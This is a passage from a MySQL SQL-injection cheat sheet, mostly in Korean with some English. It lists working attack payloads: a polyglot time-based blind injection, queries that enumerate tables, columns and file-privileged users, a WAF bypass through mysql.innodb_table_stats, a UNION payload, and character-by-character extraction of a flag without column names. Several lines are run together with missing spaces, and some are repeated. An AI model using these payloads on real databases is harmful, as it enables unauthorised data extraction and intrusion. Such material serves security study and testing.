SELECT*FROM some_table WHERE double_quotes ="IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
"현대" 버전의 MySQL에서는 "information_schema.tables"를 "mysql.innodb_table_stats**"로 대체할 수 있습니다. (이는 WAF를 우회하는 데 유용할 수 있습니다.)
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Getname of the tablesSELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Getname of the columns of the tableSELECT<COLUMN1>,<COLUMN2>FROM<TABLE_NAME>; #GetvaluesSELECT user FROM mysql.user WHERE file_priv='Y'; #Users withfile privileges
오직 1개의 값
group_concat()
Limit X,1
블라인드 하나씩
substr(version(),X,1)='r' 또는 substring(version(),X,1)=0x70 또는 ascii(substr(version(),X,1))=112
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
열 이름 없이 값 검색하기
어떤 시점에 테이블의 이름은 알지만 테이블 안의 열 이름은 모를 경우, 다음과 같은 명령을 실행하여 열의 개수를 찾으려고 시도할 수 있습니다:
# When a True is returned, you have found the number of columnsselect (select "", "") = (SELECT*fromdemolimit1); # 2columnsselect (select "", "", "") < (SELECT*fromdemolimit1); # 3columns
Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
두 개의 열이 있다고 가정할 때(첫 번째 열은 ID이고 두 번째 열은 플래그) 플래그의 내용을 문자 단위로 브루트포스 시도할 수 있습니다:
# When True, you found the correct char and can start ruteforcing the next positionselect (select 1, 'flaf') = (SELECT*fromdemolimit1);